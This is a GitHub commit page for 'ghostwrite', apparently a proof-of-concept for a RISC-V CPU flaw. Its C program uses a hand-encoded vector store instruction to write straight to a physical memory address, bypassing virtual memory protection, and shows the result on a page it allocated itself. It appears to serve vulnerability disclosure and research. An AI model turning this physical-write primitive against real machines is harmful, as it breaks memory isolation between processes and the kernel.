Skip to content

Commit 802edf6

Browse files
committed
init
0 parents  commit 802edf6

File tree

6 files changed

+153
-0
lines changed

6 files changed

+153
-0
lines changed

.envrc

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
use flake

.gitignore

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
ghostwrite
2+
.direnv

Makefile

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
ghostwrite: ghostwrite.c
2+
riscv64-linux-gnu-gcc ghostwrite.c -static -march="rv64gvzve64x" -o ghostwrite
3+
4+
clean:
5+
rm -rf ghostwrite

flake.lock

+61
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

flake.nix

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
{
2+
inputs = {
3+
nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05";
4+
flake-utils.url = "github:numtide/flake-utils";
5+
};
6+
7+
outputs = { self, nixpkgs, flake-utils, ... }:
8+
flake-utils.lib.eachDefaultSystem (system:
9+
let
10+
pkgs = nixpkgs.legacyPackages.${system};
11+
pkgsCross = import nixpkgs { inherit system; crossSystem = { config = "riscv64-linux-gnu"; }; };
12+
in
13+
{
14+
devShells.default = pkgsCross.mkShell {
15+
buildInputs = [ pkgsCross.glibc.static ];
16+
};
17+
});
18+
}

ghostwrite.c

+66
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
// NOTE: compile with any vector extension, e.g., -march="rv64gzve64x"
2+
3+
#include <stdint.h>
4+
#include <stdio.h>
5+
#include <stdlib.h>
6+
#include <fcntl.h>
7+
#include <string.h>
8+
#include <sys/mman.h>
9+
#include <unistd.h>
10+
11+
size_t get_physical_address(size_t vaddr) {
12+
if (geteuid() != 0) {
13+
printf("Getting the physical address requires using sudo/root.\n");
14+
exit(EXIT_FAILURE);
15+
}
16+
int fd = open("/proc/self/pagemap", O_RDONLY);
17+
uint64_t virtual_addr = (uint64_t)vaddr;
18+
size_t value = 0;
19+
off_t offset = (virtual_addr / 4096) * sizeof(value);
20+
int got = pread(fd, &value, sizeof(value), offset);
21+
if(got != sizeof(value)) {
22+
return 0;
23+
}
24+
close(fd);
25+
return (value << 12) | ((size_t)vaddr & 0xFFFULL);
26+
}
27+
28+
static inline void maccess(void *addr) {
29+
asm volatile("ld a7, (%0)" : : "r"(addr) : "a7", "memory");
30+
}
31+
32+
char __attribute__((aligned(4096))) buffer[2<<20];
33+
34+
static void evict() {
35+
for (unsigned i = 0; i < sizeof(buffer); i+=4096) {
36+
maccess(&buffer[i]);
37+
}
38+
asm volatile("fence\n\t");
39+
}
40+
41+
int main() {
42+
memset(buffer, 0xff, sizeof(buffer));
43+
44+
volatile uint64_t* target = mmap(NULL, sizeof(*target), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
45+
*target = 0xcaaa;
46+
47+
uint64_t virt = (uint64_t)target;
48+
uint64_t phys = get_physical_address(virt);
49+
50+
printf("Virtual address: %16lx\n", virt);
51+
printf("Phyiscal address: %16lx\n\n", phys);
52+
53+
printf("Value before: %16lx\n", *target);
54+
55+
evict();
56+
asm volatile(
57+
"mv t0, %0\n\t"
58+
"mv a0, %1\n\t"
59+
"vsetvli zero, zero, e8, m1\n\t"
60+
"vmv.v.x v0, a0\n\t"
61+
/* vse128.v v0, 0(t0) */
62+
".fill 1, 4, 0x10028027\n\t"
63+
"fence" :: "r"(phys), "r"(0xfe) : "ra");
64+
65+
printf("Value after: %16lx\n", *target);
66+
}

0 commit comments

Comments
 (0)